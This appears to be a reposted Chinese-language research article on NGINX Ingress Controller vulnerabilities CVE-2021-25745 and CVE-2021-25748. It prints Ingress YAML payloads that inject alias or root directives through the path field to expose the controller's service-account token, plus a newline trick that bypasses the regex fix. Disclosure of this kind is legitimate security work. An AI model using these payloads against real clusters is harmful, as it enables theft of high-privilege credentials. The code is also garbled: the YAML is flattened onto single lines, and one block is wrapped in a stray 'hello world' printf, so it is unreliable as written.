Kubernetes NGINX Ingress Controller 中的新漏洞

VSole2022-07-08 16:47:45

序言

从 2021 年 10 月开始,NGINX 的 Kubernetes Ingress Controller开始受到安全研究人员的关注。

曾披露了CVE-2021-25742漏洞:攻击者可以通过定制化的Snippets特性创建或修改集群中的Ingress实例,从而获取集群中所有的Secret实例信息。

CVE-2021-25742 的要点是:攻击者能够使用片段注释功能将 Lua 代码作为 NGINX 配置的一部分注入服务器块中。由于当时 NGINX Kubernetes Ingress Controller 的设计不安全,攻击者可以利用 Lua 代码执行来获取 Ingress Controller 访问令牌(该令牌在 Kubernetes 集群内具有高权限)。

研究历程

在 CVE-2021-25742 发布后的几个月内,Lightspin 和其他研究人员发现了三个利用 NGINX Kubernetes Ingress Controller 配置文件注入的新 CVE:CVE-2021-25745、CVE-2021-25746、CVE-2021 -25748:

(CVE-2021-25745)

https://github.com/kubernetes/ingress-nginx/issues/8502

(CVE-2021-25746)

https://github.com/kubernetes/ingress-nginx/issues/8503

(CVE-2021 -25748)

https://github.com/kubernetes/ingress-nginx/issues/8686

探讨

1、Kubernetes NGINX Ingress Controller 漏洞频发的原因

Ingress Controller 之所以成为攻击者和研究人员的理想目标,主要有三个原因。

  • 流行:根据公开研究,大多数 Kubernetes 集群使用 NGINX 作为其入口控制器。以下是CNCF 2021 年针对使用过的 Kubernetes Ingress 提供商的调查结果。NGINX 的 Ingress Controller 用于全球 50% 的响应集群。

  • 高权限:默认情况下,NGINX Ingress Controller在集群中拥有一个具有强大权限的服务帐户,例如能够获取集群中的任何密钥。如果 Kubernetes 集群中有一个服务帐户绑定到一个高特权集群角色(例如“cluster-admin”),攻击者可以轻松地从 NGINX Ingress Controller转移到另一个服务帐户。
  • 开源:在过去的几年里,软件供应链风险一直是安全社区的头等大事,就 NGINX Ingress Controller而言,它的流行应该会加剧这种担忧。

根本原因

作为 Ingress-NGINX 实现的一部分,有两个主要组件在运行:

  • NGINX Web 代理服务器:接收传入请求并根据nginx.conf配置文件中编写的规则路由它们。
  • Ingress controller: 负责通过将其解释添加到nginx.conf配置文件来满足 Ingress 资源规则的组件。
  • 在安全设计中,应该有一种方式从 Ingress 控制器访问 NGINX Web 代理nginx.conf配置文件以进行规则更新。NGINX Web 代理进程不应该对 Ingress 控制器资源有任何访问权限。

添加到 Ingress 控制器的ingress-nginx集群角色使这种分离更加重要,这将决定它在集群中正确运行。此集群角色具有强大的权限,例如获取集群范围内的所有密钥。不幸的是,这种分离还没有完全实现,这使得 Ingress-NGINX 成为在集群内进行提权的较好途径。

2、CVE-2021-25745:使用Ingress资源注入nginx.conf

该过程的一个重要部分是了解 Ingress 资源定义如何转换为nginx.conf文件中的配置块。首先,创建一个简单的 Ingress 资源。

printf("hello worlapiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gafpathType: Prefixbackend:service:name: some-serviceport:number: 5678d!");

创建 Ingress 资源后,我们可以检查nginx.conf文件中的更改。

kubectl exec -it <ingress-nginx-controller-pod> -n ingress-nginx -- cat /etc/nginx/nginx.conf | grep gaf -A 20 -B 20

有多个字段的值被注入到nginx.conf文件中(path, namespace, Ingress name, service name and port)。但它们中的大多数被 DNS 使用,并且仅限于字母数字字符、数字、“-”或“.”。唯一可以包含任何字符的字段是路径。

通过操作路径字段中的值,我们可以关闭配置中的当前位置块,并打开一个新块,可以包含任意我们想输入的内容,即“配置注入”。由于 NGINX 有可以提供静态内容的指令,我们可以使用指令或 Lua 代码来获取ingress-nginx服务帐户令牌。

alias指令的payload:

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678

root指令的payload:

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /serviceaccount{root /var/run/secrets/kubernetes.io;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678

这是使用alias指令payload后生成的 nginx.conf 内容:

现在我们可以从 http:///gaf/token访问 Ingress 控制器服务帐户令牌。

3、CVE-2021-25748:修复和绕过

作为 CVE-2021-25745 修复的一部分,Kubernetes 团队为 Ingress 对象规范实施了深度检查( https://github.com/kubernetes/ingress-nginx/pull/8456/commits/83107e0af40b99066b6a72faf33d95a969d17b18 )。

该检查器使用正则表达式模式列表来验证 Ingress 字段的值,如下所示。

虽然整体实现实现了其目标,但我们仍然发现上述正则表达式模式存在两个问题:

  • / var/run链接到/run。所以,我们可以访问/run/secrets/kubernetes.io/serviceaccount/token
  • 我们可以使用换行符 (\n) 绕过 '.*;' 查看。

这是一个绕过正则表达式payload示例,正如我们所解释的:

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: "/gaf{alias #\n/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa"pathType: Prefixbackend:service:name: some-serviceport:number: 5678

上述情况已经报告给了Kubernetes,随后在 NGINX Ingress Controller 的 1.2.1 版本中得到修复。作为更新修复的一部分, alias 和 root 指令已被删除,这使我们滥用正则表达式模式的方式无效。

kubernetesnginx
本作品采用《CC 协议》,转载必须注明作者和本文链接
序从 2021 年 10 月开始,NGINXKubernetes Ingress Controller开始受到安全研究人员的关注。曾披露了CVE-2021-25742漏洞:攻击者可以通过定制化的Snippets特性创建或修改集群中的Ingress实例,从而获取集群中所有的Secret实例信息。
在Ingress-nginx中存在信息泄露漏洞,可以创建或更新 Ingress 对象的用户可以在利用该漏洞访问集群中的所有 Secret。
haproxy-ingress的部署
2022-01-16 14:01:33
以前给环境安装ingress都直接用kubernetes的ingress-nginx,国内没有安装源,而且ingress自己没有高可靠,最近研究了一种新的ingress,haproxy-ingress,效果不错,安装也方便,还默认支持高可靠, 参考https://haproxy-ingress.github.io/docs/getting-started/, 需要用helm来安装,因此先安装h
最牛逼的集群监控系统,它始终位列第一!
Kubernetes部署应用
2022-05-11 13:36:57
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
容器及其周围的生态系统改变了工程师部署、维护和排查工作负载故障的方式。但是,在 Kubernetes 集群上调试应用程序有时可能会很困难,因为你可能在容器中找不到所需的调试工具。 许多工程师使用基于精简、发行版构建无发行版的基础镜像,其中甚至没有包管理器或shell。甚至一些团队使用 scratch 作为基础镜像,并且只添加应用程序运行所需的文件。这种常见做法的一些原因是:
展示在Kubernetes集群中的攻击和防御思路
虽然网上有大量从零搭建 K8S 的文章,但大都针对老版本,若直接照搬去安装最新的 1.20 版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供 copy and paste 式的集群搭建帮助。
虽然网上有大量从零搭建?的文章,但大都针对老版本,若直接照搬去安装最新的?版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供?式的集群搭建帮助。服务等,可供用户免费下载、使用和分享。??启动的三节点服务已经配置好了以下使用?节点进行演示查看,其他节点操作均一致#?
kubectl 常用命令指南Kubectl 命令是操作 kubernetes 集群的最直接的方式,特别是运维人员,需要对这些命令有一个详细的掌握
VSole
网络安全专家